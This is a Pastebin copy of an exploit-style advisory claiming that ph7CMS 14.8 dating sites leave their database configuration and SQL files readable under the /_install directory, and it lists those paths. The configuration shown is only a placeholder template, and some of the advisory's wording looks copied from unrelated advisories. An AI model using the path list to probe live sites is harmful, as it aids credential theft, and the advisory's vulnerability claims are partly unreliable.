Advertisement
KingSkrupellos

ph7CMS Social Dating Community 14.8 Database Config Disc

Feb 13th, 2019
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.90 KB | None | 0 0
  1. ####################################################################
  2.  
  3. # Exploit Title : ph7CMS Social Dating Community 14.8 Database Config Disclosure
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 14/02/2019
  7. # Vendor Homepage : ph7cms.com
  8. # Software Download Link : ph7cms.com/social-dating-features/
  9. github.com/pH7Software/pH7-Social-Dating-CMS/archive/master.zip
  10. # Software Information Link : ph7cms.com/tag/php-dating-script/
  11. sourceforge.net/projects/ph7socialdating/
  12. ph7cms.com/ph7cms-14-8-released/
  13. # Software Version : 5.6.0 and 14.8 all previous versions.
  14. Compatible with PHP 5.6 and higher
  15. # Tested On : Windows and Linux
  16. # Category : WebApps
  17. # Exploit Risk : Medium
  18. # Vulnerability Type : CWE-16 [ Configuration ] ~ CWE-200 [ Information Exposure ]
  19. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  20. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  21. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  22.  
  23. ####################################################################
  24.  
  25. # Description about Software :
  26. ***************************
  27. Config file of pH7 Dating Social Community CMS
  28.  
  29. pH7 Dating CMS is a Social/Dating CMS written in Object-Oriented PHP (OOP),
  30.  
  31. fully compatible and highly optimised for PHP 7+ and based on MVC architecture (Model-View-Controller).
  32.  
  33. It is designed with the KISS principle in mind, and the whole source code can be read and
  34.  
  35. understood in minutes. For a better flexibility, the software uses PDO (PHP Data Objects)
  36.  
  37. abstraction which allows the choice of the database. The principle of development is DRY
  38.  
  39. (Don't Repeat Yourself) aimed at reducing repetition of information of all kinds (no duplicate code)
  40.  
  41. and YAGNI principle to avoid unused code/not needed functionality in the software.
  42.  
  43. This Free and Open Source Social Dating Site Builder wants to be low resource-intensive,
  44.  
  45. powerful, stable and secure. The software also comes with 38 system modules and is based
  46.  
  47. on pH7Framework (written specifically for this project) that has over 52 packages.
  48.  
  49. To summarize, pH7CMS gives you the perfect ingredients to create the best online
  50.  
  51. dating service or social networking website on the World Wide Web!
  52.  
  53. ####################################################################
  54.  
  55. # Impact :
  56. ***********
  57. ph7CMS Social Dating Community 14.8 [ and other versions ] configuration file may potentially
  58.  
  59. disclose sensitive information to remote attackers.
  60.  
  61. The configuration file that ph7CMS Social Dating Community 14.8 stored in /_install/data/configs/config.ini
  62.  
  63. HTTP requests consisting of a single character will cause the software to
  64.  
  65. disclose sensitive configuration information, including the password/database to the administrative web interface.
  66.  
  67. This file is installed, by default, with world readable and possibly world writeable permissions enabled.
  68.  
  69. This may have some potentially serious consequences as the configuration
  70.  
  71. file also stores password information in plain text.
  72.  
  73. This issue occurs because access controls on configuration files are not properly set.
  74.  
  75. An attacker can exploit this issue to retrieve potentially sensitive information.
  76.  
  77. Attackers can access config file via URL request. This may aid in further attacks.
  78.  
  79. ####################################################################
  80.  
  81. # Database Configuration File Information Disclosure Exploit :
  82. *****************************************************
  83.  
  84. /_install/data/configs/config.ini
  85.  
  86. [database]
  87. type_name = %db_type_name%
  88. type = %db_type%
  89. hostname = "%db_hostname%"
  90. username = "%db_username%"
  91. password = "%db_password%"
  92. name = "%db_name%"
  93. prefix = "%db_prefix%"
  94. charset = "%db_charset%"
  95. port = %db_port%
  96.  
  97. # Database Disclosure Exploit :
  98. ***************************
  99.  
  100. /_install/data/sql/PostgreSQL/pH7_Core.sql
  101.  
  102. /_install/data/sql/PostgreSQL/pH7_DataGame.sql
  103.  
  104. /_install/data/sql/PostgreSQL/pH7_SampleData.sql
  105.  
  106. /_install/data/sql/PostgreSQL/pH7_SchemaGame.sql
  107.  
  108. /_install/data/sql/MySQL/pH7_Core.sql
  109.  
  110. /_install/data/sql/MySQL/pH7_DataGame.sql
  111.  
  112. /_install/data/sql/MySQL/pH7_SampleData.sql
  113.  
  114. /_install/data/sql/MySQL/pH7_SchemaGame.sql
  115.  
  116. # Database Disclosure Exploit 2 : => /_install/inc/_db_connect.inc.php
  117. *****************************
  118.  
  119. <?php
  120. /**
  121. * @title Db Connect File
  122. namespace PH7;
  123. defined('PH7') or exit('Restricted access');
  124. $aParams = array(
  125. 'db_type' => $_SESSION['db']['type'],
  126. 'db_hostname' => $_SESSION['db']['hostname'],
  127. 'db_name' => $_SESSION['db']['name'],
  128. 'db_username' => $_SESSION['db']['username'],
  129. 'db_password' => $_SESSION['db']['password'],
  130. 'db_charset' => $_SESSION['db']['charset']
  131. );
  132. $DB = new Db($aParams);
  133.  
  134. ####################################################################
  135.  
  136. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  137.  
  138. ####################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement